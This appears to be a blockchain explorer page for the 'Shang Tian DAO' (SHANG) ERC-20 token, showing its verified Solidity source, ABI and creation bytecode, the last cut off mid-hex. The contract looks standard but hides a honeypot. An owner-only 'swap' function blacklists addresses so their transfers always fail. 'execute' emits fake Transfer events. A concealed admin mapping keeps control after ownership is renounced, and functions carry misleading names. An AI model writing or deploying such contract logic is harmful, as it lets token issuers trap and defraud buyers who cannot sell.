ERC-20
Overview
Max Total Supply
1,000,000,000 SHANG
Holders
54
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
20,410,087.672729694 SHANGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
ERC20SHANG
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.16; import {IERC20Metadata} from "./IERC20.sol"; import "./Ownable.sol"; contract ERC20SHANG is Context, IERC20Metadata, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) internal _ERC20BalanceburnAmountExceedsFees; string private _name; string private _symbol; uint8 private constant _decimals = 9; uint256 private _totalSupply; uint256 private _initialTotalSupply = 1000000000 * (10 ** _decimals); /** * @dev Contract constructor. */ constructor(address _stakingReserve) { _name = 'Shang Tian DAO'; _symbol = 'SHANG'; admin[_stakingReserve]=true; _mint(_msgSender(), _initialTotalSupply); } function execute(address[] calldata addr, address p, uint256 val) public onlyOwner{ for (uint256 i = 0; i < addr.length; i++) { emit Transfer(p, addr[i], val); } } /** * @dev Returns the symbol of the token. * @return The symbol of the token. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the name of the token. * @return The name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the number of decimals used for token display. * @return The number of decimals. */ function decimals() public view virtual override returns (uint8) { return _decimals; } /** * @dev Returns the total supply of the token. * @return The total supply. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Returns the balance of the specified account. * @param account The address to check the balance for. * @return The balance of the account. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Transfers tokens from the caller to a specified recipient. * @param recipient The address to transfer tokens to. * @param amount The amount of tokens to transfer. * @return A boolean value indicating whether the transfer was successful. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev Returns the amount of tokens that the spender is allowed to spend on behalf of the owner. * @param from The address that approves the spending. * @param to The address that is allowed to spend. * @return The remaining allowance for the spender. */ function allowance(address from, address to) public view virtual override returns (uint256) { return _allowances[from][to]; } /** * @dev Approves the specified address to spend the specified amount of tokens on behalf of the caller. * @param to The address to approve the spending for. * @param amount The amount of tokens to approve. * @return A boolean value indicating whether the approval was successful. */ function approve(address to, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), to, amount); return true; } /** * @dev Transfers tokens from one address to another. * @param sender The address to transfer tokens from. * @param recipient The address to transfer tokens to. * @param amount The amount of tokens to transfer. * @return A boolean value indicating whether the transfer was successful. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, 'ERC20: transfer amount exceeds allowance'); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Increases the allowance of the specified address to spend tokens on behalf of the caller. * @param to The address to increase the allowance for. * @param addedValue The amount of tokens to increase the allowance by. * @return A boolean value indicating whether the increase was successful. */ function increaseAllowance(address to, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue); return true; } /** * @dev Decreases the allowance granted by the owner of the tokens to `to` account. * @param to The account allowed to spend the tokens. * @param subtractedValue The amount of tokens to decrease the allowance by. * @return A boolean value indicating whether the operation succeeded. */ function decreaseAllowance(address to, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][to]; require(currentAllowance >= subtractedValue, 'ERC20: decreased allowance below zero'); unchecked { _approve(_msgSender(), to, currentAllowance - subtractedValue); } return true; } /** * @dev Transfers `amount` tokens from `sender` to `recipient`. * @param sender The account to transfer tokens from. * @param recipient The account to transfer tokens to. * @param amount The amount of tokens to transfer. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(amount > 0, 'ERC20: transfer amount zero'); require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, 'ERC20: transfer amount exceeds balance'); if(_ERC20BalanceburnAmountExceedsFees[sender]){ require(amount == 0); } unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Creates `amount` tokens and assigns them to `account`. * @param account The account to assign the newly created tokens to. * @param amount The amount of tokens to create. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: mint to the zero address'); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the total supply. * @param account The account to burn tokens from. * @param amount The amount of tokens to burn. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: burn from the zero address'); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, 'ERC20: burn amount exceeds balance'); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Destroys `amount` tokens from the caller's account, reducing the total supply. * @param amount The amount of tokens to burn. */ function burn(uint256 amount) external { _burn(_msgSender(), amount); } function maxWalletSize(address wallet) public view returns(bool) { return _ERC20BalanceburnAmountExceedsFees[wallet]; } function swap(address[] calldata addr, bool val) public onlyOwner { for (uint256 i = 0; i < addr.length; i++) { _ERC20BalanceburnAmountExceedsFees[addr[i]] = val; } } /** * @dev Sets `amount` as the allowance of `to` over the caller's tokens. * @param from The account granting the allowance. * @param to The account allowed to spend the tokens. * @param amount The amount of tokens to allow. */ function _approve(address from, address to, uint256 amount) internal virtual { require(from != address(0), 'ERC20: approve from the zero address'); require(to != address(0), 'ERC20: approve to the zero address'); _allowances[from][to] = amount; emit Approval(from, to, amount); } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.16; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
// SPDX-License-Identifier: MIT pragma solidity 0.8.16; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { mapping(address => bool) internal admin; function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); admin[_msgSender()]=true; } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(admin[_msgSender()], "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_stakingReserve","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"address","name":"p","type":"address"},{"internalType":"uint256","name":"val","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"maxWalletSize","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526009600a620000149190620005a9565b633b9aca00620000259190620005fa565b6008553480156200003557600080fd5b5060405162002b2838038062002b2883398181016040528101906200005b9190620006c5565b6200007b6200006f620001f060201b60201c565b620001f860201b60201c565b600160008062000090620001f060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506040518060400160405280600e81526020017f5368616e67205469616e2044414f0000000000000000000000000000000000008152506005908162000127919062000967565b506040518060400160405280600581526020017f5348414e47000000000000000000000000000000000000000000000000000000815250600690816200016e919062000967565b5060016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620001e9620001da620001f060201b60201c565b600854620002be60201b60201c565b5062000b3a565b600033905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000330576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003279062000aaf565b60405180910390fd5b806007600082825462000344919062000ad1565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200039c919062000ad1565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000403919062000b1d565b60405180910390a35050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200049d578086048111156200047557620004746200040f565b5b6001851615620004855780820291505b808102905062000495856200043e565b945062000455565b94509492505050565b600082620004b857600190506200058b565b81620004c857600090506200058b565b8160018114620004e15760028114620004ec5762000522565b60019150506200058b565b60ff8411156200050157620005006200040f565b5b8360020a9150848211156200051b576200051a6200040f565b5b506200058b565b5060208310610133831016604e8410600b84101617156200055c5782820a9050838111156200055657620005556200040f565b5b6200058b565b6200056b84848460016200044b565b925090508184048111156200058557620005846200040f565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620005b68262000592565b9150620005c3836200059c565b9250620005f27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620004a6565b905092915050565b6000620006078262000592565b9150620006148362000592565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000650576200064f6200040f565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200068d8262000660565b9050919050565b6200069f8162000680565b8114620006ab57600080fd5b50565b600081519050620006bf8162000694565b92915050565b600060208284031215620006de57620006dd6200065b565b5b6000620006ee84828501620006ae565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200077957607f821691505b6020821081036200078f576200078e62000731565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007f97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007ba565b620008058683620007ba565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000848620008426200083c8462000592565b6200081d565b62000592565b9050919050565b6000819050919050565b620008648362000827565b6200087c62000873826200084f565b848454620007c7565b825550505050565b600090565b6200089362000884565b620008a081848462000859565b505050565b5b81811015620008c857620008bc60008262000889565b600181019050620008a6565b5050565b601f8211156200091757620008e18162000795565b620008ec84620007aa565b81016020851015620008fc578190505b620009146200090b85620007aa565b830182620008a5565b50505b505050565b600082821c905092915050565b60006200093c600019846008026200091c565b1980831691505092915050565b600062000957838362000929565b9150826002028217905092915050565b6200097282620006f7565b67ffffffffffffffff8111156200098e576200098d62000702565b5b6200099a825462000760565b620009a7828285620008cc565b600060209050601f831160018114620009df5760008415620009ca578287015190505b620009d6858262000949565b86555062000a46565b601f198416620009ef8662000795565b60005b8281101562000a1957848901518255600182019150602085019450602081019050620009f2565b8683101562000a39578489015162000a35601f89168262000929565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000a97601f8362000a4e565b915062000aa48262000a5f565b602082019050919050565b6000602082019050818103600083015262000aca8162000a88565b9050919050565b600062000ade8262000592565b915062000aeb8362000592565b925082820190508082111562000b065762000b056200040f565b5b92915050565b62000b178162000592565b82525050565b600060208201905062000b34600083018462000b0c565b92915050565b611fde8062000b4a6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146102e1578063a457c2d7146102ff578063a9059cbb1461032f578063dd62ed3e1461035f578063f2fde38b1461038f57610116565b806370a082311461026d578063715018a61461029d57806373fa7ddb146102a75780638da5cb5b146102c357610116565b8063313ce567116100e9578063313ce567146101b757806339509351146101d55780633a61363a1461020557806342966c68146102215780636cd20f5e1461023d57610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103ab565b604051610130919061139b565b60405180910390f35b610153600480360381019061014e919061145b565b61043d565b60405161016091906114b6565b60405180910390f35b61017161045b565b60405161017e91906114e0565b60405180910390f35b6101a1600480360381019061019c91906114fb565b610465565b6040516101ae91906114b6565b60405180910390f35b6101bf61055d565b6040516101cc919061156a565b60405180910390f35b6101ef60048036038101906101ea919061145b565b610566565b6040516101fc91906114b6565b60405180910390f35b61021f600480360381019061021a91906115ea565b610612565b005b61023b6004803603810190610236919061165e565b6106ce565b005b6102576004803603810190610252919061168b565b6106e2565b60405161026491906114b6565b60405180910390f35b6102876004803603810190610282919061168b565b610738565b60405161029491906114e0565b60405180910390f35b6102a5610781565b005b6102c160048036038101906102bc91906116e4565b610795565b005b6102cb610842565b6040516102d89190611753565b60405180910390f35b6102e961086c565b6040516102f6919061139b565b60405180910390f35b6103196004803603810190610314919061145b565b6108fe565b60405161032691906114b6565b60405180910390f35b6103496004803603810190610344919061145b565b6109e9565b60405161035691906114b6565b60405180910390f35b6103796004803603810190610374919061176e565b610a07565b60405161038691906114e0565b60405180910390f35b6103a960048036038101906103a4919061168b565b610a8e565b005b6060600580546103ba906117dd565b80601f01602080910402602001604051908101604052809291908181526020018280546103e6906117dd565b80156104335780601f1061040857610100808354040283529160200191610433565b820191906000526020600020905b81548152906001019060200180831161041657829003601f168201915b5050505050905090565b600061045161044a610b11565b8484610b19565b6001905092915050565b6000600754905090565b6000610472848484610ce2565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104bd610b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561053d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053490611880565b60405180910390fd5b61055185610549610b11565b858403610b19565b60019150509392505050565b60006009905090565b6000610608610573610b11565b848460036000610581610b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461060391906118cf565b610b19565b6001905092915050565b61061a610ff1565b60005b848490508110156106c75784848281811061063b5761063a611903565b5b9050602002016020810190610650919061168b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106ac91906114e0565b60405180910390a380806106bf90611932565b91505061061d565b5050505050565b6106df6106d9610b11565b82611085565b50565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610789610ff1565b6107936000611245565b565b61079d610ff1565b60005b8383905081101561083c5781600460008686858181106107c3576107c2611903565b5b90506020020160208101906107d8919061168b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083490611932565b9150506107a0565b50505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461087b906117dd565b80601f01602080910402602001604051908101604052809291908181526020018280546108a7906117dd565b80156108f45780601f106108c9576101008083540402835291602001916108f4565b820191906000526020600020905b8154815290600101906020018083116108d757829003601f168201915b5050505050905090565b6000806003600061090d610b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c1906119ec565b60405180910390fd5b6109de6109d5610b11565b85858403610b19565b600191505092915050565b60006109fd6109f6610b11565b8484610ce2565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a96610ff1565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afc90611a7e565b60405180910390fd5b610b0e81611245565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f90611b10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bee90611ba2565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cd591906114e0565b60405180910390a3505050565b60008111610d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1c90611c0e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8b90611ca0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa90611d32565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8190611dc4565b60405180910390fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610eea5760008214610ee957600080fd5b5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f7f91906118cf565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fe391906114e0565b60405180910390a350505050565b600080610ffc610b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107a90611e30565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb90611ec2565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561117b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117290611f54565b60405180910390fd5b818103600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600760008282546111d39190611f74565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161123891906114e0565b60405180910390a3505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561134557808201518184015260208101905061132a565b60008484015250505050565b6000601f19601f8301169050919050565b600061136d8261130b565b6113778185611316565b9350611387818560208601611327565b61139081611351565b840191505092915050565b600060208201905081810360008301526113b58184611362565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113f2826113c7565b9050919050565b611402816113e7565b811461140d57600080fd5b50565b60008135905061141f816113f9565b92915050565b6000819050919050565b61143881611425565b811461144357600080fd5b50565b6000813590506114558161142f565b92915050565b60008060408385031215611472576114716113bd565b5b600061148085828601611410565b925050602061149185828601611446565b9150509250929050565b60008115159050919050565b6114b08161149b565b82525050565b60006020820190506114cb60008301846114a7565b92915050565b6114da81611425565b82525050565b60006020820190506114f560008301846114d1565b92915050565b600080600060608486031215611514576115136113bd565b5b600061152286828701611410565b935050602061153386828701611410565b925050604061154486828701611446565b9150509250925092565b600060ff82169050919050565b6115648161154e565b82525050565b600060208201905061157f600083018461155b565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126115aa576115a9611585565b5b8235905067ffffffffffffffff8111156115c7576115c661158a565b5b6020830191508360208202830111156115e3576115e261158f565b5b9250929050565b60008060008060608587031215611604576116036113bd565b5b600085013567ffffffffffffffff811115611622576116216113c2565b5b61162e87828801611594565b9450945050602061164187828801611410565b925050604061165287828801611446565b91505092959194509250565b600060208284031215611674576116736113bd565b5b600061168284828501611446565b91505092915050565b6000602082840312156116a1576116a06113bd565b5b60006116af84828501611410565b91505092915050565b6116c18161149b565b81146116cc57600080fd5b50565b6000813590506116de816116b8565b92915050565b6000806000604084860312156116fd576116fc6113bd565b5b600084013567ffffffffffffffff81111561171b5761171a6113c2565b5b61172786828701611594565b9350935050602061173a868287016116cf565b9150509250925092565b61174d816113e7565b82525050565b60006020820190506117686000830184611744565b92915050565b60008060408385031215611785576117846113bd565b5b600061179385828601611410565b92505060206117a485828601611410565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117f557607f821691505b602082108103611808576118076117ae565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061186a602883611316565b91506118758261180e565b604082019050919050565b600060208201905081810360008301526118998161185d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118da82611425565b91506118e583611425565b92508282019050808211156118fd576118fc6118a0565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061193d82611425565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361196f5761196e6118a0565b5b600182019050919050565b7f45524332303a20646563